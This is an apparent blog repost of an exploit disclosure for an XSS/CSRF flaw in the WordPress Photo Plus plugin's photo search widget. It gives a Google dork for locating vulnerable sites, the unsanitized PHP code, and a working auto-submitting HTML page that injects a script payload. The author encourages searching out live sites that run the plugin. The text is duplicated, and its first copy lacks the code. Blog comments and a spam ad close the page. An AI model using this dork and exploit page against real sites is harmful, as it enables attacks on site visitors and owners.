The WordPress Photo Plus plugin suffers from a XSS/CSRF Vulnerability.
# Exploit Title: Word Press Photo Plus, Photo Search XSS/CSRF Vulnerability
# Google Dork: inurl:plugins +inurl:wp-photo-album-plus +intext:"Photo Search"
# Date: 29/12/12
# Exploit Author: k3170makan
# Vendor Homepage: http://wordpress.org/extend/plugins/wp-photo-album-plus/
# Software Link: http://wordpress.org/extend/plugins/wp-photo-album-plus/
# Version: 4.8.11
# Tested on: Ubuntu 10.04
Word Press Photo Plus plugin suffers from a XSS/CSRF via Vulnerability in the "Search Photos" function
extract from wp-photo-album-plus.php, in widget function
------------------------------------------------------------------------------------------------------------------------
The above code fails to sanitize the $wppa['searchstring'] variable, allowing attacks to inject harmfull HTML elements and JavaScript code. Submissions to this form can also be made from any domain, which actually aids in the exploitation of the vulnerability thus this is classified as a CSRF Vulnerability
Exploit Code:
The exploit requires an attacker to forge a post request to this form, this can be done by using the following html page
--------------------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------------------------
[photo search page path] can be obtained by reading the path set in the original photo search form attributes
The dork I gave doesn't have such a wonderful hit rate, but with a little manual inspection you should find quite a couple sites hosting the vulnerable plugin
# Exploit Title: Word Press Photo Plus, Photo Search XSS/CSRF Vulnerability
# Google Dork: inurl:plugins +inurl:wp-photo-album-plus +intext:"Photo Search"
# Date: 29/12/12
# Exploit Author: k3170makan
# Vendor Homepage: http://wordpress.org/extend/plugins/wp-photo-album-plus/
# Software Link: http://wordpress.org/extend/plugins/wp-photo-album-plus/
# Version: 4.8.11
# Tested on: Ubuntu 10.04
Word Press Photo Plus plugin suffers from a XSS/CSRF via Vulnerability in the "Search Photos" function
The Code
------------------------------------------------------------------------------------------------------------------------
42 <form id="wppa_searchform" action="<?php echo($pagelink) ?>" method="post" class="widget_search">------------------------------------------------------------------------------------------------------------------------
43 <div>
44 <?php echo $instance['label'] ?>
45 <input type="text" name="wppa-searchstring" id="wppa_s" value="<?php echo $wppa[ 'searchstring'] ?>" />
46 <input id = "wppa_searchsubmit" type="submit" value="<?php _e('Search', 'wppa'); ?>" />
47 </div>
The above code fails to sanitize the $wppa['searchstring'] variable, allowing attacks to inject harmfull HTML elements and JavaScript code. Submissions to this form can also be made from any domain, which actually aids in the exploitation of the vulnerability thus this is classified as a CSRF Vulnerability
Exploit Code:
The exploit requires an attacker to forge a post request to this form, this can be done by using the following html page
--------------------------------------------------------------------------------------------------------------------------------
1 <html>
2 <body onload="xss()">
3 <form name="f" id="wppa_searchform" action="http://[domain name]/[photo search page path]" method="post" class="widget_search">
4 <input type="text" name="wppa-searchstring" id="wppa_s" value='"><script>alert(1);</script><textarea>'>
5 <input name="s" id="wppa_searchsubmit" type="submit" value="Search">
6 </form>
7 <script>
8 function xss(){
9 document.f.s.click();
10 }
11 </script>
12 <body>
13 <html>
--------------------------------------------------------------------------------------------------------------------------------
[photo search page path] can be obtained by reading the path set in the original photo search form attributes
The dork I gave doesn't have such a wonderful hit rate, but with a little manual inspection you should find quite a couple sites hosting the vulnerable plugin
Nice article man, keep it up, i like it.
ReplyDeleteThanks! and will do ;)
Delete"Over the last four days Patrick has shown me some stratigies that will absolutely take my business to the next level.”
ReplyDeleteSmall business consulting